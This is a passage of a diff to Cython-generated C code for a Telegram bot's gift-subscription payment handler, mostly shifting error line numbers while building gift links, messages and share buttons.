__PYX_ERR(0, 233, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_3 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 231, __pyx_L6_error) + __pyx_t_3 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 233, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_10 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_selected_months); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 231, __pyx_L6_error) + __pyx_t_10 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_selected_months); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 233, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_10); - __pyx_t_11 = __Pyx_PyInt_MultiplyObjC(__pyx_t_10, __pyx_int_30, 30, 0, 0); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 231, __pyx_L6_error) + __pyx_t_11 = __Pyx_PyInt_MultiplyObjC(__pyx_t_10, __pyx_int_30, 30, 0, 0); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 233, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_days, __pyx_t_11) < 0) __PYX_ERR(0, 231, __pyx_L6_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_days, __pyx_t_11) < 0) __PYX_ERR(0, 233, __pyx_L6_error) __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 231, __pyx_L6_error) + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 233, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = PyNumber_Add(__pyx_t_1, __pyx_t_11); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 231, __pyx_L6_error) + __pyx_t_3 = PyNumber_Add(__pyx_t_1, __pyx_t_11); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 233, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; @@ -7826,9 +7867,9 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine __pyx_cur_scope->__pyx_v_expiry_time = __pyx_t_3; __pyx_t_3 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_uuid); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 232, __pyx_L6_error) + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_uuid); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 234, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_11); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_uuid4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 232, __pyx_L6_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_uuid4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 234, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; __pyx_t_11 = NULL; @@ -7849,21 +7890,21 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine PyObject *__pyx_callargs[2] = {__pyx_t_11, NULL}; __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 232, __pyx_L6_error) + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 234, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_hex); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 232, __pyx_L6_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_hex); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 234, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_t_1, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 232, __pyx_L6_error) + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_t_1, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 234, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GIVEREF(__pyx_t_3); __pyx_cur_scope->__pyx_v_gift_id = ((PyObject*)__pyx_t_3); __pyx_t_3 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_get_gift_link); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 233, __pyx_L6_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_get_gift_link); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 235, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_11 = NULL; __pyx_t_4 = 0; @@ -7883,7 +7924,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine PyObject *__pyx_callargs[3] = {__pyx_t_11, __pyx_cur_scope->__pyx_v_tg_id, __pyx_cur_scope->__pyx_v_gift_id}; __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 233, __pyx_L6_error) + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 235, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } @@ -7891,14 +7932,14 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine __pyx_cur_scope->__pyx_v_gift_link = __pyx_t_3; __pyx_t_3 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_logger); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 234, __pyx_L6_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_logger); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 236, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_info); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 234, __pyx_L6_error) + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_info); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 236, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_gift_link, __pyx_empty_unicode); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 234, __pyx_L6_error) + __pyx_t_1 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_gift_link, __pyx_empty_unicode); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 236, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyUnicode_Concat(__pyx_kp_u__28, __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 234, __pyx_L6_error) + __pyx_t_2 = __Pyx_PyUnicode_Concat(__pyx_kp_u__26, __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 236, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; @@ -7920,15 +7961,15 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_11, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 234, __pyx_L6_error) + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 236, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_store_gift_link); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 236, __pyx_L6_error) + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_store_gift_link); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 238, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_11); - __pyx_t_2 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_selected_months); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 236, __pyx_L6_error) + __pyx_t_2 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_selected_months); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 238, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = NULL; __pyx_t_4 = 0; @@ -7949,7 +7990,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_11, __pyx_callargs+1-__pyx_t_4, 6+__pyx_t_4); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 236, __pyx_L6_error) + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 238, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; } @@ -7979,35 +8020,35 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine __pyx_t_9 = __pyx_cur_scope->__pyx_t_2; __pyx_cur_scope->__pyx_t_2 = 0; __Pyx_XGOTREF(__pyx_t_9); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 236, __pyx_L6_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 238, __pyx_L6_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 236, __pyx_L6_error) + else __PYX_ERR(0, 238, __pyx_L6_error) } } - __pyx_t_6 = (__Pyx_PyUnicode_Equals(__pyx_cur_scope->__pyx_v_selected_months, __pyx_kp_u_1, Py_EQ)); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 239, __pyx_L6_error) + __pyx_t_6 = (__Pyx_PyUnicode_Equals(__pyx_cur_scope->__pyx_v_selected_months, __pyx_kp_u_1, Py_EQ)); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 241, __pyx_L6_error) if (__pyx_t_6) { __Pyx_INCREF(__pyx_n_u__5); __pyx_t_3 = __pyx_n_u__5; } else { - __pyx_t_2 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_selected_months); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 239, __pyx_L6_error) + __pyx_t_2 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_selected_months); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 241, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_12 = (__Pyx_PyInt_BoolEqObjC(__pyx_t_2, __pyx_int_2, 2, 0)); if (unlikely((__pyx_t_12 < 0))) __PYX_ERR(0, 239, __pyx_L6_error) + __pyx_t_12 = (__Pyx_PyInt_BoolEqObjC(__pyx_t_2, __pyx_int_2, 2, 0)); if (unlikely((__pyx_t_12 < 0))) __PYX_ERR(0, 241, __pyx_L6_error) if (!__pyx_t_12) { } else { __pyx_t_5 = __pyx_t_12; goto __pyx_L14_bool_binop_done; } - __pyx_t_12 = (__Pyx_PyInt_BoolEqObjC(__pyx_t_2, __pyx_int_3, 3, 0)); if (unlikely((__pyx_t_12 < 0))) __PYX_ERR(0, 239, __pyx_L6_error) + __pyx_t_12 = (__Pyx_PyInt_BoolEqObjC(__pyx_t_2, __pyx_int_3, 3, 0)); if (unlikely((__pyx_t_12 < 0))) __PYX_ERR(0, 241, __pyx_L6_error) if (!__pyx_t_12) { } else { __pyx_t_5 = __pyx_t_12; goto __pyx_L14_bool_binop_done; } - __pyx_t_12 = (__Pyx_PyInt_BoolEqObjC(__pyx_t_2, __pyx_int_4, 4, 0)); if (unlikely((__pyx_t_12 < 0))) __PYX_ERR(0, 239, __pyx_L6_error) + __pyx_t_12 = (__Pyx_PyInt_BoolEqObjC(__pyx_t_2, __pyx_int_4, 4, 0)); if (unlikely((__pyx_t_12 < 0))) __PYX_ERR(0, 241, __pyx_L6_error) __pyx_t_5 = __pyx_t_12; __pyx_L14_bool_binop_done:; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; @@ -8026,19 +8067,19 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine __pyx_cur_scope->__pyx_v_months_text = ((PyObject*)__pyx_t_3); __pyx_t_3 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_GIFTS_TEXT_TEMPLATE); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 241, __pyx_L6_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_GIFTS_TEXT_TEMPLATE); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 243, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_format); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 241, __pyx_L6_error) + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_format); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 243, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyDict_NewPresized(6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 242, __pyx_L6_error) + __pyx_t_3 = __Pyx_PyDict_NewPresized(6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 244, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_months, __pyx_cur_scope->__pyx_v_selected_months) < 0) __PYX_ERR(0, 242, __pyx_L6_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_months, __pyx_cur_scope->__pyx_v_selected_months) < 0) __PYX_ERR(0, 244, __pyx_L6_error) - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_months_text, __pyx_cur_scope->__pyx_v_months_text) < 0) __PYX_ERR(0, 242, __pyx_L6_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_months_text, __pyx_cur_scope->__pyx_v_months_text) < 0) __PYX_ERR(0, 244, __pyx_L6_error) - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_expiry_time, __pyx_n_s_strftime); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 244, __pyx_L6_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_expiry_time, __pyx_n_s_strftime); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 246, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_10 = NULL; __pyx_t_4 = 0; @@ -8058,18 +8099,18 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine PyObject *__pyx_callargs[2] = {__pyx_t_10, __pyx_kp_u_d_m_Y_H_M}; __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; - if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 244, __pyx_L6_error) + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 246, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_expiry_time, __pyx_t_2) < 0) __PYX_ERR(0, 242, __pyx_L6_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_expiry_time, __pyx_t_2) < 0) __PYX_ERR(0, 244, __pyx_L6_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_recipient, __pyx_kp_u__10) < 0) __PYX_ERR(0, 242, __pyx_L6_error) - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_is_used, __pyx_n_u__9) < 0) __PYX_ERR(0, 242, __pyx_L6_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_recipient, __pyx_kp_u__10) < 0) __PYX_ERR(0, 244, __pyx_L6_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_is_used, __pyx_n_u__9) < 0) __PYX_ERR(0, 244, __pyx_L6_error) - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_gift_link, __pyx_cur_scope->__pyx_v_gift_link) < 0) __PYX_ERR(0, 242, __pyx_L6_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_gift_link, __pyx_cur_scope->__pyx_v_gift_link) < 0) __PYX_ERR(0, 244, __pyx_L6_error) - __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_11, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 241, __pyx_L6_error) + __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_11, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 243, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; @@ -8077,7 +8118,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine __pyx_cur_scope->__pyx_v_message_text = __pyx_t_2; __pyx_t_2 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 250, __pyx_L6_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 252, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_11 = NULL; __pyx_t_4 = 0; @@ -8097,7 +8138,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine PyObject *__pyx_callargs[2] = {__pyx_t_11, NULL}; __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; - if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 250, __pyx_L6_error) + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 252, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } @@ -8105,25 +8146,25 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine __pyx_cur_scope->__pyx_v_builder = __pyx_t_2; __pyx_t_2 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_INLINE_MODE); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 251, __pyx_L6_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_INLINE_MODE); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 253, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_2); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 251, __pyx_L6_error) + __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_2); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 253, __pyx_L6_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__pyx_t_6) { - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_button); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 252, __pyx_L6_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_button); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 254, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 252, __pyx_L6_error) + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 254, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); - __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_SHARE_GIFT); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 252, __pyx_L6_error) + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_SHARE_GIFT); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 254, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_11); - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_11) < 0) __PYX_ERR(0, 252, __pyx_L6_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_11) < 0) __PYX_ERR(0, 254, __pyx_L6_error) __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __pyx_t_11 = __Pyx_PyUnicode_Concat(__pyx_n_u_gift_3, __pyx_cur_scope->__pyx_v_gift_id); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 252, __pyx_L6_error) + __pyx_t_11 = __Pyx_PyUnicode_Concat(__pyx_n_u_gift_3, __pyx_cur_scope->__pyx_v_gift_id); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 254, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_11); - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_switch_inline_query, __pyx_t_11) < 0) __PYX_ERR(0, 252, __pyx_L6_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_switch_inline_query, __pyx_t_11) < 0) __PYX_ERR(0, 254, __pyx_L6_error) __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 252, __pyx_L6_error) + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 254, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; @@ -8133,19 +8174,19 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine } /*else*/ { - __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_SHARE_TEXT_TEMPLATE_NOT_INLINE); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 254, __pyx_L6_error) + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_SHARE_TEXT_TEMPLATE_NOT_INLINE); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 256, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_11); - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_format); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 254, __pyx_L6_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_format); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 256, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __pyx_t_11 = __Pyx_PyDict_NewPresized(4); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 255, __pyx_L6_error) + __pyx_t_11 = __Pyx_PyDict_NewPresized(4); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 257, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_11); - if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_months, __pyx_cur_scope->__pyx_v_selected_months) < 0) __PYX_ERR(0, 255, __pyx_L6_error) + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_months, __pyx_cur_scope->__pyx_v_selected_months) < 0) __PYX_ERR(0, 257, __pyx_L6_error) - if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_months_text, __pyx_cur_scope->__pyx_v_months_text) < 0) __PYX_ERR(0, 255, __pyx_L6_error) + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_months_text, __pyx_cur_scope->__pyx_v_months_text) < 0) __PYX_ERR(0, 257, __pyx_L6_error) - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_expiry_time, __pyx_n_s_strftime); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 257, __pyx_L6_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_expiry_time, __pyx_n_s_strftime); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 259, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_10 = NULL; __pyx_t_4 = 0; @@ -8165,16 +8206,16 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine PyObject *__pyx_callargs[2] = {__pyx_t_10, __pyx_kp_u_d_m_Y_H_M}; __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; - if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 257, __pyx_L6_error) + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 259, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } - if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_expiry_time, __pyx_t_2) < 0) __PYX_ERR(0, 255, __pyx_L6_error) + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_expiry_time, __pyx_t_2) < 0) __PYX_ERR(0, 257, __pyx_L6_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_gift_link, __pyx_cur_scope->__pyx_v_gift_link) < 0) __PYX_ERR(0, 255, __pyx_L6_error) + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_gift_link, __pyx_cur_scope->__pyx_v_gift_link) < 0) __PYX_ERR(0, 257, __pyx_L6_error) - __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_11); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 254, __pyx_L6_error) + __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_11); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 256, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; @@ -8182,16 +8223,16 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine __pyx_cur_scope->__pyx_v_share_text = __pyx_t_2; __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_button); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 260, __pyx_L6_error) + __pyx_t_2 = 